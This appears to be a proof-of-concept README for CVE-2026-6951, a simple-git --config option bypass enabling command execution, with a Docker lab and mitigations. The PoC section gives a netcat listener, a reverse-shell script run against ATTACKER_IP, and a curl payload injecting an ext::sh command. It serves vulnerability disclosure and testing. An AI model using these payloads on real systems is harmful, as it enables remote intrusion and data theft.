CVE-2026-6951 simple-git Remote Code Execution

★ CVE-2026-6951 simple-git --config Option Filter Bypass RCE PoC ★

https://github.com/user-attachments/assets/4c992530-c5bb-4ff4-be5d-af0857eebb67

Overview

CVE-2026-6951 is a remote code execution vulnerability in simple-git caused by an incomplete fix for CVE-2022-25912. Although the -c option was blocked, the equivalent --config option was not properly restricted. An attacker who can control Git arguments can enable the ext protocol and execute arbitrary commands through an ext:: repository URL.

Affected Versions

Category	Version
Vulnerable	simple-git versions before 3.36.0
Patched	simple-git 3.36.0 or later

This environment uses simple-git 3.35.2 and @simple-git/argv-parser 1.0.3.

Impact

• Remote code execution with the privileges of the Node.js application
• Sensitive file disclosure
• Reverse shell access
• Modification or deletion of application data

Environment

Build and run the vulnerable environment.

docker build -t cve-2026-6951 .
docker run --rm -d --name cve-2026-6951 -p 9107:9107 cve-2026-6951

Access the service at:

http://127.0.0.1:9107

Check the service status.

curl -s http://127.0.0.1:9107/api/health

The embedded sample repository is available at:

file:///srv/git/sample.git

PoC

Start a listener on the attacker system.

nc -lvnp 4444

Run the exploit script.

python3 poc.py http://127.0.0.1:9107 --lhost ATTACKER_IP --lport 4444

The following request executes the id command by abusing the unrestricted --config option and the Git ext protocol.

curl -s -X POST http://127.0.0.1:9107/api/import \
  -H 'Content-Type: application/json' \
  --data-raw '{
    "repository":"ext::sh -c id% >&2",
    "name":"id-check",
    "options":["--config","protocol.ext.allow=always"],
    "environment":{}
  }'

Mitigation

• Upgrade simple-git to version 3.36.0 or later.
• Do not pass user-controlled Git options directly to simple-git.
• Allow only trusted repository URL schemes and reject ext:: URLs.
• Apply strict allowlist validation to repository URLs and Git arguments.

Analysis

• KR:
• EN: